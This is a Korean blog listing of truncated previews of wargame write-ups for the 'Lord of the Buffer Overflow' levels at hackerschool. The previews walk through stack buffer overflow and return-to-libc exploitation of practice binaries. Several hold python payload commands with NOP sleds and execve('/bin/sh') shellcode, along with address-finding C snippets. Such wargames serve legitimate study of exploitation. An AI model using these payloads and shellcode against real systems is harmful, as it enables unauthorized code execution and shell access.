목록hackerschool (20)
ii4gsp
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/c5JevB/btqBzPnVd9h/sESebyrpHEV6Cn2LbdAHO1/img.png)
주석에 PLT라고 되어있다 RET를 strcpy()함수의 PLT주소로 변조해야 하는 문제이다. strcpy()함수의 PLT주소는 0x08048410이다. 값을 넣어주고 코어파일을 분석해보자 0x41414141가 있는 주소 0xbffffa50과 0x45454545가 있는 주소 0xbffffa5c를 사용할것이다. 페이로드는 buffer + sfp + &strcpy() + dummy + &strcpy() arg1 + &strcpy() arg2 + &shellcode [44byte] [4byte] [4byte] [4byte] [4byte] [4byte] #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘 코드 주소를 구하는 소스코드를..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bux4U0/btqBujQ7UHY/EuX2riCKweJzE1wdad8fZK/img.png)
주석을 보면 RTL2라고 되어있다 RTL기법을 사용해야한다. argv[1][44]에 입력된 값이 execve()함수의 주소와 같아야한다. 라이브러리의 주소를 구해주자 파일을 복사해주고 gdb로 열어 print명령어로 각 라이브러리의 주소를 구해주었다. system()함수 주소 0x40058ae0 execve()함수 주소 0x400a9d48 exit()함수 주소 0x400391e0 system()함수의 주소를 이용해 "/bin/sh"의 주소도 구해주자. #include int main() { int system = 0x40058ae0; while(memcmp((void*)system, "/bin/sh", 8)) system++; printf("%x\n", system); } "/bin/sh"의 주소를 구하..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/CNq2i/btqBc57LvC5/vDKvNILsKuTSKUeL4NTrV1/img.png)
47번째 바이트가 \xff가 아니여야 하고 48번째 바이트가 \xbf가 되게 해야한다. ret의 주소가 0xbfff로 시작하면 \xff가 걸리기때문에 0xbfff이면 안된다. 파일을 /tmp 디렉토리에 복사해주고 gdb로 열어보자 strcpy() 함수가 호출되고 바로 다음 명령인 부분에 break point를 걸어주자 스택은 높은 주소부터 낮은 주소로 자라기 때문에 매개변수의 전달 값의 크기가 클수록 낮은 주소에 자리를 잡는다. \xbf 조건을 맞춰주고 argv[2]에 A 십만개를 스택에 채워 낮은 주소로 이동하였다. 주소가 0xbffe로 시작한다. 아무 주소나 ret로 잡고 페이로드를 작성하면 된다. payload ./vampire $(python -c 'print "\x90" * 44 + "\xe8\..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/Hhf4Y/btqBeSGhMZS/DamaOPFfbpphV8cJkKjYLk/img.png)
이전 문제에서 argv[0]이 77이 아니라면 에러문자와 함께 프로그램이 종료된다. 즉, 파일의 이름이 77이여야 한다. gdb로 열기위해 /tmp/ 폴더에 저장을 해주자 파일명이 72글자인 이유는 앞의 경로 /tmp/의 글자를 -5 해준것이다. gdb로 분석을해보자 strcpy() 함수가 호출되고 실행되는 명령인 부분에 break point를 걸어주자 48번째 바이트가 \xbf가 되도록 하고 argv[2]에 A를 100개 넣었다. 값을 확인해보자 0xbffffb64를 ret의 주소로 잡고 페이로드를 작성하였다. ln -s orge $(python -c 'print "A" * 75') 명령어로 orge파일을 A * 75개의 이름으로 만들어주고 75인 이유는 ./AAAA......... 로 실행하기 때문에..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/768Fr/btqA7qwZrdn/4gkKlyS27vsA2V6T0W2oO1/img.png)
이전 문제에서 조건이 하나 추가되었다. argv[1]의 48번째 바이트가 \xbf가 아니라면 프로그램이 종료되고 argv[1]이 48이상이라도 프로그램이 종료된다. gdb로 열어서 strcpy() 함수 다음명령인 부분에 break point를 걸어주었다. argv[2]의 주소를 0xbffffc14로 잡아주고 페이로드는 (buffer + sfp + argv[2]) + (nop+ shellcode)가 된다. payload ./darkelf $(python -c 'print "\x90" * 44 + "\x14\xfc\xff\xbf"') $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x5..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/cwrYVz/btqBc5dMnHW/kG88MCRkbbx8eH1HponFTK/img.png)
이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다. 문제푸는 방식은 이전 문제와 동일하다. 이전의 스택구조와 동일하다 i _____ buffer ______ SFP ______ RET strcpy()호출 다음인 에 break point를 걸어주고 0xbffffab4를 ret로 잡고 페이로드를 작성해주었다. payload ./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/bjU92f/btqA7qXZzq3/tkkN6Tx7phR9ikBWscFbD1/img.png)
memset() 함수로 환경변수 메모리를 초기화 시켜 쉘코드를 환경변수에 등록하여 문제를 푸는건 불가능하다. argv 48번째 바이트가 \xbf가 아니라면 프로그램이 종료된다. gdb로 분석해보면 스택의 구조는 i _______ buffer ________ SFP ________ RET ret의 주소를 구하기 위해 strcpy() 함수 호출 바로 다음부분인 에 break point를 걸었다. ret의 주소를 0xbffffab4로 잡고 페이로드를 작성하였다. payload ./orc $(python -c 'print "\x90" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89..
![](http://i1.daumcdn.net/thumb/C150x150/?fname=https://blog.kakaocdn.net/dn/b8nLvB/btqA7rvGVp5/lWDJilUOcRXE0YZkyAyZ7k/img.png)
소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다. gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다. 파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는 buffer ________ sfp ________ ret 버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다. #include int main() { printf("%p\n", getenv("shellcode")); return 0; } 쉘코드의 주소를 출력해줄 소스코드를 작성해주고 쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다. 쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소 파이프를 ..